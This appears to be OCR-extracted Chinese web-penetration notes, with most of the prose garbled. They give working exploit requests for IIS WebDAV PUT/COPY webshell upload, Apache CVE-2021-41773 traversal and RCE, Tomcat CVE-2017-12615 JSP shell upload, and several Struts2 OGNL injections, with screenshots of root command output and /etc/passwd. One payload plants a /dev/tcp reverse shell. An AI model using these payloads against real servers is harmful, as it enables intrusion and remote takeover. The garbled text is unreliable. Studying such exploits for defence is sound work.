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I1S 6.0hRZA , £¥& "l.asp;.ipg” XEERISTHZE ASPST4fRT, TETENIXI S EREHNIERE ki , X
HEEEUEE— " BIEERSAEN XM EiE R T B R, mEfr L, ISEIAAD
SHIRER , GEASH "8 T, IANAXE ASP X, FREFETER | ERRIEFEZE.
FENERSARIFPUTHEEE
OPTIONS /x HTTP1.1
Host:www.xxx.com

EE—M ot

PUT /x.txt HTTP1.1
Host:www.xxx.com
Content-Length:30

<%execute request( “123456" )%> # HIENAS
i#@idmovedfcopyEinE X

COPY /x.txt HTTP1.1
Host:www.xxx.com

Destination:http://www.xxx.com/cmd.asp #1Ex.txtE a3 Acmd.asp (BT #ETmIR)



Apachef#trimi

ESApachel\A— 1 HEHA LB SN B, IMEREXHR , BaILURAEZ N BR. Apachel\ 9k
ZMNERIEF AR AR, REENRY BRAFRBIRY , sdrseE o7ty , BERIFIMESER AL,
C 2% httpd.apache.org/docs/current/mod/directive-dict.html By & v E"’B

does not begin with a slash will be treated as relative to the ServerRoot.

directory-path
The path to a directory in the local file-system beginning with the root directory as in
/usr/local/apache/htdocs/path/to/.

filename
The name of a file with no accompanying path information as in file.html.

regex

extension
In general, this is the part of the filename which follows the last dot. However, Apache recognizes
multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the
filename following the first dot is an extension. For example, the filename £ile html.en contains two
extensions: .html and .en. For Apache directives, you may specify extensions with or without the
leading dot. In addition, extensions are not case sensitive.

MIME-type
A method of describing the format of a file which consists of a major format type and a minor format type,

separated by a slash as in text/html.
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ApacheiRifi-CVE-2021-41773

Apache HTTP Server 2.4.49, 2 4. 50MRAMIERZNSEH MR ENFEE— N BEFRRR , IEE TR
ARizimimEREIWeb BRIMIEMIH | INRFEEXH. MubhiRiRS , EEEEERR ~ , NEETRIEER
IsRHAITRS | EHIIRSSER.

S A4FisERY
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2¢e/etc/passwd

RCEGF SHAT
POST /cqgi-bin/.%2e/%2e%2e/%2e%2¢e/bin/sh HTTP/1.1
Host: 118.193.36.37:53238

Content-Type: text/plain
Content-Length: 8

echo; id
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Apache HTTP Server 2.4.50 4§+t CVE-2021-41773 BEEARE RS . WEETLMEFRKRFZBHKEE
URL BREIZIHRSRUBI R AHELECERIERZIMIN M, INRXEHRZIMINEAZERENEOAEE "EREH
" RIRIP , NIXLEKATRERMT], MRENXEFIZRZEAT CGl A , NiXATgERirimizNiBHReT,
RCERR ST
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 123.58.224.8:29045
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (

KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close

Content-Type: application/x-www-form-urlencoded

echo; echo "exec /bin/sh 0</dev/tcp/x.x.x.x/8888 1>8&0 2>&0" > /tmp/a.sh



TomcatfitrimiA-CVE-2017-12615

CVE-2017-12615FEFRZ ATomcat PUTHAEREXGRKIE , SHMLUISHPUT HERIFE. ZimiRALAFIR
HTTPRIPUT 5 A2E# E{EwebshellZ|HiriRSZ2E , NTHBABAR, ZkEESRRE , £Tomcatiweb.xmIEk
INBR A EEZRR  BER—BEARESREZEARFaNiHweb.xmlFreadonlyig & Afalse , AILAEIE PUT
/ DELETE #7305,

POC

PUT /shell,jsp/ HTTP/1.1
Host:www.example.com
Content-Length:10

<%Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); %>
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Struts2-S2-01

iR[RIE

ZimiRE PR R EBEEIEHIOUERMAT |, BinaBRP ZaHRRRISEFEROGNLERIA% ( value ) H1T
Rt AEEHETINNARREEIET , ERSRERTE |, IERENE—RESEIARE ZRHEIHETE | H
FEimER% (value ) IHERZAIHUIERIT T —XOGNLEAZARYT . FRLARTLAEETEPayloadi# T8 ST

faiEpoc , iHZ|passwordfE , 1T

%{#a=(new java.lang.ProcessBuilder(new
java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getlnputStream(),#c=new
java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c) #e=new
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse") #f.getWriter(
).printin(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

52-001 — Mozilla Firefox
52-001 x +

CHRN O & 192.168.91.129:8080/login.action

KaliLinux & KaliTools < KaliDocs % KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

S2-001 Demo

link: https://struts.apache.org/docs/s2-001.html

root
username: | |
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iR RIE

S2-005/mEFEIRTFS2-003 ( ZEMIhRAS : {kFStruts 2.0.12 ) , struts2&EhttplIENSEZ T /IOGNL
129 ( FTEfE gjavaftil ) . OGNL%LTLQ#%IEIEﬂstrutSXT% strutstEZRiBIS S # =Rt Z 2 a)7E |
sAMEIT unicodeZ®fd (\u0023 ) 88 (\43 ) BP2 ﬁ?ﬁéﬁﬁ%‘] XJFS2-003fwiH , EAEIEINZEEE
( IS ARG ATE ) K2t , (BERLEEERST %EQFEII_.I IﬂZﬁE%TUﬁUﬁHOGNLﬁ A
R/ ML T FF

f\/s\*ﬂ{j__ Request Response a
p ~ Raw Hex n = Pretty Raw Hex n
1 POST fexample/sHelloWorld.action HTTR/1.1 1 HTTR/1.1 200
2 Host: 192.,168.91.129: 8020 2 Date: Mon, 04 Sep 2023 02:29:00 GMT
3 User-Agent: Mozilla/5.0 (¥11: Linux xB6_84; rv:109.0) 3 Connection: close
Gecko/20100101 Firefox/115.0 4 Content-Length: 1245
4 Accept: 5
text/html,application/xhtml +xml ,application/xml ;q=0.9,image/avif, 1 5 root:x:0:0:root:/root:sbin/bash
mage webp, ¥ /% g=0,8 7 daemon:x:1:1l:daemon: fusr/sbhin: fusr/sbin/nologin
S Accept-Language: en-US,en:;g=0.5 & bin:x:2:2:bin: /bin: fusr/shin/nologin
5 Accept-Encoding: gzip, deflate 9 sys:ix:3:3:sys: fdev:fusr/shin/nologin
7 Connection: close 10 sync:x:4:65534:sync: /bin:/bin/sync
8 Cookie: JSESSIONID=F37082CE91lFFECLE748F0OEALEESZ91CE 11 games;x:5;60:games; /usr/games: fusr/shin/nologin
9 Upgrade-Insecure-Requests: 1 12 man:x:6:12:man: /var/cache/man: fusr/shin/nologin
10 Content-Type: application/x-www-form-urlencoded 12 lpix: 77 lp fvar/spool /lpd: fusr/shin/nologin
11 Content-Length: &72 14 mail:x:8:8:mail:/var/mail: fusr/shin/nologin
12 15 news:x:9:9:news: /var/spool/news: /usr/sbin/nologin

13 redirect:${%23req%3d%23context . get (%27co%27%2b%27n. open%27%2b%27sy 16 uucp:x:10:10:uucp: fvarsspool fuucp: fusr/shin/noleogin
mphony . xwo%27%2b%27rk 2, disp%27%2b% 27at cher . Htt pSer% 27% 2b% 27v1l et Req 17 proxy:x:13:13:proxy: /bin: fusr/sbhin/nologin
%27%2b%27uest%27) ,%23s%3dnewk20]ava. util . Scanner( inew%20java.lang. 15 www-data:x:33: 33 www-data: /var/wew: /usr/sbin/nologin
ProcessBuilder( %2 e els 74% 205 2% a0 Fau e 2T N 7ON el TR TR 7T /e d% 27 19 backup:x:34:34:backup:/var/backups: susr/sbin/nologin
tosString( ) split(%27\\s%27]))) .start() .getInputStream()) useDelimi 20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ter(%27\\AAAA%ZT) %235t r%3d%23s  hasNext () 7%23s next () :%27%27,%23re 21 dirc:x:39:39:ircd: fvar/runfircd: fusr/sbin/nelogin
sp%3d%23context . get (%27co%27%2b%27m. open%27%2b% 27symphony . xwo%27%2 22 gnats:x:41:41:Gnats Bug-Reporting System [admin):/var/lib/sgnats:

b%27rk2. disp%27%2b% 27atcher . HttpSer%27%2b%27v] et Res% 27%2b% 27ponses Jusr/sbin/nologin
27).%23resp.setCharacterEncoding(%27UTF-8%27) ,%23resp . getWriter( ). 23 nobody:x:65534: 65534 nobody : snonexistent: fusr/shin/noleogin
println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().cl 24 systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/
osell} systemd: /bin/false
14 25 systemd-network:x:101:104:systemd Network Management,.,:/run/
15 systemd/netif: /bin/false
16 25 systemd-resolve:x:102:105:systemd Resolwver,,,:/run/systemd/resoly
Sbin/false
27 systemd-bus-proxy:x:103:106:systemd Bus Proxy,..,:/run/systemd: /bi
false

28 messagebus:x:104:107:: fvar/run/dbus: fbin/false




Struts2-S2-013

iR[RIE

Struts2 Fr&H <s:a> 1 <s:url>EEE— includeParams &t , E{ETIREN none , get & all , &%
EAEXNENIT :
> none - IEHEAEEBERIEESEHUE (B0AN)
> get - fEHERES GET HRKPHSHFNEE
> all - $5E8 S GET #1 POST FrE28f1EE

<s:a> R R—NERHE | HincludeParams=allfYif{® , SIEARRIEKAIGETFIPOSTSEEBHEURLAY
GET&# E. EHNESHRIETEFSESEAITOGNLER , EERERSHIITRIE.

Mozilla Firefox

192.168.91.129:8080/link.act/ X +
C @ O & 192.168.91.129:8080/link.action?a=%24{%23_memberAccess["allowStaticMethodAccess "]’ 7

Exploit-DB Google Hacking DB OffSec

KaliLinux #& KaliTools = KaliDocs % KaliForums ex Kali NetHunter

dbapp=uid=0(root) gid=0(root) groups=0(root)




Struts2-S2-048

Apache Struts2 2.3.x &FIFA T struts2-strutsl-plugin {HEFEFAE struts2-showcase BR , HimiERK
EZ2ZActionMessageiZE FRIERISEETRRN | BT REEEHEEEELEARISHUETEABHAIT

3 ] Struts2 Showcase - Struts1 Integration — Mozilla Firei s ] Struts2 Shewease - Struts? Integration - Result — Mozilla Firefy

s ] Struts2 Showcase - Struts1 [ X o

Struts2 Showcase - Struts

< ster.action
er.action

e _ _ N _ ) _ : KaliLinux # KaliTools « KaliDocs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB
KaliLinux # KaliTools ¢ KaliDocs X KaliForums e Kali NetHunter Exploit-DB Google Hacking =

Struts2 Showcase # Home  Configuration~  Tag

Struts2 Showcase # Home  Configuration~
ags~ File~ Examples ~ Integration~

Tags File~ Examples ~ Integration = AJA

Struts1 Integration Struts1 Integration - Result

Gangster uid=0(root) gid=0{root) groups=0(root) added successfully
Gangster Name:

exec(id').getlnputStream(})).(#q)}

Gangster Name:
The age is required

%{(#dm=@ognl.OgniContext@DEFAULT _MEMBER_ACCESS).(# memberAccess?(# memberAccess=#dm):((#container=
Gangster Age:| 114 (#ognlUtil=#container.getinstance(@com.opensymphony xwork2.ognl.OgnlUti@class)). (#ognlUtil.getExcludedPackageNam:
(#context.setMemberAccess(#dm)))).(#g=@org.apache.commons.io. IOUtils@toString(@java.lang. Runtime@getRuntime().e

O

Gangster Busted Before Gangster Age:

Gangster Description: ., 1111

Busted Before:
false

% Gangster Description:

) 1111

T
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BTN EEXMLTINRZEigBEnamespaceffE , FH B EESER BT SE IS S FERIBE &
namespaceflt , AJREESEIERBRITRAENAE. EFEAEE AurlirEiggiREvalueflactionfV(E , 7
B EESE S EiRE s EAEEE A namespace , NTISEIRERIEHITIRENAL.

B2 TURLIRES

a- -
Request Response
Raw Hex n = Raw Hex T
1 GET — HTTO] 1 =i
fstruts2-showcase/s24%7B(%23dn%30% 400gn1 . Ognl Context%400EFAULT _MEM 2 Location: fstruts2-showcase/uid=0(root) gid=0(root) groups=0{root)

BER_ACCESS) . (%23ct%30%23request%5B%27struts valueStack%27%50, conte TS S e BT S R

xt) L (%23cr%30%23ct%56% 27 com, opensymphony . xwork2, ActionContext . cont Z Content-Length: ©

alner%27%50) , (%230u%30%23cr . getInstancel %40com. opensymphony , xwork2 4 Date: Wed, 0& Sep 2023 01:13:25 GMT
cognl. Ognlitil%40class) ) . (%230u. getExcludedPackageMames( ) .clear(]) S Connection: close

A %230u. getExcludedClasses( ) . clear() ). (%23ct . setMemberAccess({%23dm &

11 (%23a%30%40]ava. lang. Runtime% 40getRuntimel ) . exec(%271d%27) ) . (%4
Gorg.apache.commons. 1o, IO il s%40t oSt ring(%23a. get Input Streami ) ) 1%
70 actionChainl.action HTTR/1.1

2 Host: 192.168.91.129: 80280

3 User-Agent: Mozilla/5.0 (X¥11:; Linux x86 &64; rv:109,0)
Gecko/20100101 Firefox/11%.0

4 Accept:
text/html,applicationsxhtml+xml, applicationsxml;:g=0.9, image/avif,1
mage webhp, * /% q=0.8

5 Accept-Language: en-US, en:g=0.5

& Accept-Encoding: gzip, deflate

7 Connection: close

2 Cankdar  1SFSSTANTR=SSFSRMRATANT AEMSCERACAGSART S350



PAEABLCARSCE R TS, ATRERBN—EANE. WETEREFEE, HH:
https://d.book118.com/397045022012010005
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